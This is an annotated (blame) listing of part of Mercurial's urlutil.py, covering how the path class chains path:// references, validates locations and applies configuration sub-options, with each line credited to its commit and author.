Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
737 self.name = name
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
738 self.rawloc = rawloc
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
739 self.loc = b'%s' % u
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
740
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
741 self._validate_path()
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
742
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
743 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
744 self._own_sub_opts = {}
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
745 if suboptions is not None:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
746 self._own_sub_opts = suboptions.copy()
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
747 sub_opts.update(suboptions)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
748 self._all_sub_opts = sub_opts.copy()
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
749
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
750 self._apply_suboptions(ui, sub_opts)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
751
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
752 def chain_path(self, ui, paths):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
753 if self.url.scheme == b'path':
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
754 assert self.url.path is None
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
755 try:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
756 subpath = paths[self.url.host]
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
757 except KeyError:
46928
93c224dc099b urlutil: use bytes for Abort messages
Matt Harbison <matt_harbison@yahoo.com>
parents: 46917
diff changeset
758 m = _(b'cannot use `%s`, "%s" is not a known path')
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
759 m %= (self.rawloc, self.url.host)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
760 raise error.Abort(m)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
761 if subpath.raw_url.scheme == b'path':
46928
93c224dc099b urlutil: use bytes for Abort messages
Matt Harbison <matt_harbison@yahoo.com>
parents: 46917
diff changeset
762 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
763 m %= (self.rawloc, self.url.host)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
764 raise error.Abort(m)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
765 self.url = subpath.url
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
766 self.rawloc = subpath.rawloc
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
767 self.loc = subpath.loc
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
768 if self.branch is None:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
769 self.branch = subpath.branch
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
770 else:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
771 base = self.rawloc.rsplit(b'#', 1)[0]
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
772 self.rawloc = b'%s#%s' % (base, self.branch)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
773 suboptions = subpath._all_sub_opts.copy()
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
774 suboptions.update(self._own_sub_opts)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
775 self._apply_suboptions(ui, suboptions)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
776
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
777 def _validate_path(self):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
778 # When given a raw location but not a symbolic name, validate the
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
779 # location is valid.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
780 if (
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
781 not self.name
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
782 and not self.url.scheme
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
783 and not self._isvalidlocalpath(self.loc)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
784 ):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
785 raise ValueError(
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
786 b'location is not a URL or path to a local '
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
787 b'repo: %s' % self.rawloc
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
788 )
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
789
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
790 def _apply_suboptions(self, ui, sub_options):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
791 # Now process the sub-options. If a sub-option is registered, its
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
792 # attribute will always be present. The value will be None if there
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
793 # was no valid sub-option.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
794 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
795 if suboption not in sub_options:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
796 setattr(self, attr, None)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
797 continue
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
798
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
799 value = func(ui, self, sub_options[suboption])
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
800 setattr(self, attr, value)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
801
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
802 def _isvalidlocalpath(self, path):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
803 """Returns True if the given path is a potentially valid repository.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
804 This is its own function so that extensions can change the definition of
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
805 'valid' in this case (like when pulling from a git repo into a hg
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
806 one)."""
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
807 try:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
808 return os.path.isdir(os.path.join(path, b'.hg'))
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
809 # Python 2 may return TypeError. Python 3, ValueError.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
810 except (TypeError, ValueError):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
811 return False
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
812
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
813 @property
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
814 def suboptions(self):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
815 """Return sub-options and their values for this path.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
816
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
817 This is intended to be used for presentation purposes.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
818 """
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
819 d = {}
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
820 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
821 value = getattr(self, attr)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
822 if value is not None:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
823 d[subopt] = value
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
824 return d